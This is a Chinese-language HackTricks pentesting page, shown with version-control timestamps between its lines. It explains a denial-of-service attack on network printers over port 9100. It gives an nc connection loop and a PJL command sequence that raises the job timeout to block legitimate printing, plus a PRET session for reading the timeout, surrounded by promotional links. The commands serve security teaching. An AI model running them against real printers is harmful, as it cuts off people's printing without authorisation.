2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果打印作业按顺序处理 - 这是大多数设备的假设 - 一次只能处理一个作业。如果此作业未能有效终止打印通道,则会阻塞通道直到触发超时,从而阻止合法用户进行打印。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
基本的DoS攻击:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
while true; do nc printer 9100; done
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
这种微不足道的拒绝服务攻击可以通过**使用PJL设置较高的超时值**来改进,这样攻击者需要建立的连接数量就会减少,而合法用户要获得一个空闲时间段则更加困难:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
# get maximum timeout value with PJL
|
|
|
|
|
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
|
2023-08-03 19:12:22 +00:00
|
|
|
|
grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
|
2020-07-15 15:43:14 +00:00
|
|
|
|
# connect and set maximum timeout for current job with PJL
|
|
|
|
|
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
您可以使用[PRET](https://github.com/RUB-NDS/PRET)来查找超时设置:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
./pret.py -q printer pjl
|
|
|
|
|
Connection to printer established
|
|
|
|
|
|
|
|
|
|
Welcome to the pret shell. Type help or ? to list commands.
|
|
|
|
|
printer:/> env timeout
|
|
|
|
|
TIMEOUT=15 [2 RANGE]
|
2023-08-03 19:12:22 +00:00
|
|
|
|
5
|
|
|
|
|
300
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
虽然PJL参考规定了最大超时时间为300秒,但实际上最大的PJL超时时间可能在15到2147483秒之间。请注意,只要连接保持打开状态,甚至从其他打印通道(如IPP或LPD)接收的打印作业也不再被处理。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**了解更多关于这种攻击的信息,请访问** [**http://hacking-printers.net/wiki/index.php/Transmission\_channel**](http://hacking-printers.net/wiki/index.php/Transmission\_channel)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|